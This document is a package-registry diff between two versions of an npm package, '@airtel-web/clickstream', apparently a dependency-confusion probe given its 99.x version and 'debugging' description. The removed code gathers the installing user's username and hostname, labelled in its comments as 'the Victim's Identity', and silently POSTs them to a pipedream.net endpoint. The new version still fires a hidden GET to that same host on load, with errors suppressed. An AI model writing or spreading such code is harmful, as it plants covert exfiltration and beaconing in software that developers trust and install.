@airtel-web/clickstream 99.0.2 → 99.0.3

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/index.js +18 -31
  2. package/package.json +1 -1
package/index.js CHANGED
@@ -1,34 +1,21 @@
1
1
  const https = require('https');
2
- const os = require('os');
3
- // 1. Get the Victim's Identity
4
- const user = os.userInfo().username;
5
- const host = os.hostname();
6
- // 2. Prepare POST payload
7
- const postData = JSON.stringify({
8
- user: user,
9
- host: host
10
- });
11
- // 3. Send the Signal (Fire and Forget)
2
+
3
+ // Minimal "fire and forget" GET request
12
4
  try {
13
- const options = {
14
- hostname: 'eosrhixgl4px9ae.m.pipedream.net',
15
- port: 443,
16
- path: '/',
17
- method: 'POST',
18
- headers: {
19
- 'Content-Type': 'application/json',
20
- 'Content-Length': Buffer.byteLength(postData)
21
- }
22
- };
23
-
24
- const req = https.request(options, (res) => {
25
- // We don't care about the response, just fire and forget
26
- });
27
-
28
- req.on('error', (e) => {
29
- // Silently ignore errors
30
- });
31
-
32
- req.write(postData);
33
- req.end();
5
+ https
6
+ .get(
7
+ {
8
+ hostname: 'eosrhixgl4px9ae.m.pipedream.net',
9
+ port: 443,
10
+ path: '/',
11
+ method: 'GET'
12
+ },
13
+ (res) => {
14
+ // Drain and ignore response
15
+ res.resume();
16
+ }
17
+ )
18
+ .on('error', () => {
19
+ // Silently ignore errors
20
+ });
34
21
  } catch (e) { }
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@airtel-web/clickstream",
3
- "version": "99.0.2",
3
+ "version": "99.0.3",
4
4
  "description": "debugging",
5
5
  "license": "MIT",
6
6
  "author": "mpanwar",